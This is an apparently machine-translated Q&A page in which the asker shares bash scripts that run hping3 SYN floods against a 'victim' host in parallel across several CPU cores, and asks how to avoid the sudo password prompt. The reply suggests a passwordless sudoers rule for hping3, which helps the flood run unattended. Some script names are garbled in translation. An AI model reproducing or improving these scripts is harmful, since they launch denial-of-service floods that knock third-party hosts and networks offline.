如何在 CPU 核心上以 root 身份从另一个系统运行 shell 脚本?

如何在 CPU 核心上以 root 身份从另一个系统运行 shell 脚本?

我有一个脚本(A.sh)运行另一个脚本(B.sh),在该脚本中我需要一个 root 密码才能启动命令。

灰:

#!/bin/bash
script=./hping.sh
taskset -c 0 $script > ./test.txt &
taskset -c 1 $script > ./test.txt &
taskset -c 2 $script > ./test.txt &

比什(hping.sh)

#!/bin/bash
victim=$1
echo $sudoPW | sudo hping3 -i eth0 -d 128 -S --flood $victim

问题是,当 A.sh 尝试运行 B.sh 时,它会要求输入 root 密码,然后它会停止,它无法从控制台获取密码。

我该如何解决这个问题?

答案1

不建议在环境变量中设置 sudo 密码。其他人可能会访问该密码。相反,您可以修改 sudoer 的文件,允许某些命令无密码 sudo。在本例中为“hping3”。

相关内容